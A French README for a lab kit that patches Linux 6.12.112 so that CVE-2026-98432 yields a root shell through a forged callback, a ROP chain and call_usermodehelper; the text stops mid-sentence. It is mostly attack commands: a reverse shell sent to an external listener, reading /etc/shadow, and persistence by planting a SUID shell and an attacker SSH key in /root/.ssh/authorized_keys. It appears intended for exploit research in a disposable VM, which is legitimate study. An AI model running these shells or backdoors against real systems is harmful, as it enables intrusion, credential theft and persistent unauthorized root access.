
Kit de shell root pour labo CVE-2026-98432 (aide au noyau ; pas un exploit distant standard)
Ce kit construit un noyau Linux 6.12.112 délibérément vulnérable avec une petite aide à l'exploitabilité et transforme le chemin CVE-2026-98432 en un shell root interactif sur la console QEMU.
C'est une aide de laboratoire, pas un exploit distant standard. Les véritables chemins de code de la CVE sont utilisés :
ip_options_rcu forgé atteint ip_options_build() via le
chemin du SYN-ACK retransmis ;skb_shared_info du SYN-ACK est corrompu ;skb_release_data() appelle le callback forgé ubuf_info->ops->complete ;call_usermodehelper("/bin/sh", ...).L'aide consiste en la libération forcée/l'objet forgé et la chaîne callback/ROP préparée. Sur un noyau vulnérable standard, la pièce manquante est la primitive fiable de récupération same-slab/same-CPU et de préparation de la charge utile ; elle n'est pas publiée. Voir « Statut du noyau standard » ci-dessous.
/dev/kvm) fortement recommandé ; TCG fonctionne mais est lentsudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
Le premier build télécharge Linux 6.12.112, annule les deux appels kfree_rcu(), applique l'aid, compile bzImage, résout les symboles/gadgets à partir du vmlinux patché, recompile, empaquette un initramfs et démarre QEMU avec nokaslr.
Si KVM n'est pas disponible :
QEMU_ACCEL=tcg ./build.sh
(Le script revient actuellement automatiquement à TCG lorsque /dev/kvm n'est pas accessible en écriture ; la variable QEMU_ACCEL est acceptée par commodité.)
Dans un second terminal sur l'hôte :
python3 trigger.py 127.0.0.1 9000
Le guest init a créé /tmp/cve98432_root.sh avec un shell console
(sh -i </dev/console). Une seule connexion TCP vers le listener du guest
suffit. La console du guest devrait afficher quelque chose comme :
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
Copiez root_shell.py sur la cible (qui démarre déjà le noyau aid) et
exécutez-le en tant que l'utilisateur dont vous disposez :
python3 root_shell.py
Il écrit /tmp/cve98432_root.sh avec une charge utile de reverse-shell root, démarre
deux écouteurs loopback (9000 pour le déclencheur, 4444 pour le shell), déclenche
l'aid, et relie le shell root à votre terminal :
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
Options utiles :
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
La chaîne d'aide n'appelle machine_power_off() qu'après la sortie de la commande root.
Si la commande root ne se termine jamais, le noyau attend dans call_usermodehelper()
et l'hôte reste actif. Cela vous permet de créer un chemin root persistant :
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
ou ajoutez une clé SSH et maintenez l'assistant actif :
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
Le sleep maintient le helper en espace utilisateur (et donc la chaîne noyau) en vie,
ainsi la cible ne s'éteint pas. Utilisez /var/tmp ou /root, pas /tmp,
si /tmp est monté en noexec/nosuid. Lorsque le sleep se termine, la chaîne
reprend et éteint l'hôte ; tuez le processus sleep en tant que root si vous voulez
contrôler cela.
Le fichier de payload est créé avec 0700 et O_EXCL|O_NOFOLLOW, et est
supprimé après usage sauf si --keep-payload est fourni. Lorsque vous quittez le shell
root, la chaîne aid appelle machine_power_off(). Utilisez une VM jetable, ou
modifiez AID_POWEROFF dans aid_patch.py si vous avez besoin que l'hôte reste allumé.
La chaîne exécute :
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
le script s'exécute donc toujours en tant que root.
| élément | statut |
|---|---|
ip_options_rcu falsifié + ip_options_build() | chemin CVE, mais l'allocation est forcée par l'aide |
corruption de skb_shared_info | l'aide définit directement les champs dans tcp_v4_send_synack() |
détournement du callback destructor_arg | véritable chemin de démontage en aval |
pivot ROP + call_usermodehelper() | véritable détournement du flux de contrôle du noyau, mis en scène par l'aide |
démarrage avec nokaslr | simplification de laboratoire ; aucune fuite KASLR nécessaire |
La recherche indépendante publiée que suit ce kit a atteint le même point avec un noyau instrumenté : écriture hors limites et chemin de callback réels, libération/récupération et mise en scène de la charge utile assistées. Une chaîne weaponisée sur noyau standard n'est pas disponible publiquement à la date du 2026-11-02.
L'aide utilise des adresses de noyau absolues car l'invité démarre avec
nokaslr. Les valeurs dans aid_patch.py sont les valeurs par défaut issues de la version de laboratoire publiée
6.12.112. resolve.py lit le vmlinux patché et
System.map et écrit symbols.json ; build.sh met ensuite à jour les defines
et reconstruit.
Si resolve.py ne trouve pas un gadget (ROPgadget manquant ou incomplet),
installez-le et relancez :
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
Le gadget de pivot doit correspondre à la disposition de la chaîne dans aid_patch.py : un
lea -0x18(%rbp), %rsp plus quatre pops et un ret/jmp. Si votre build possède
un pivot différent, ajustez SEND_BLOCK dans aid_patch.py ou choisissez un gadget
correspondant.
Un noyau vulnérable d'origine ne dispose pas d'une chaîne de root fiable, publique et non assistée. Les obstacles sont :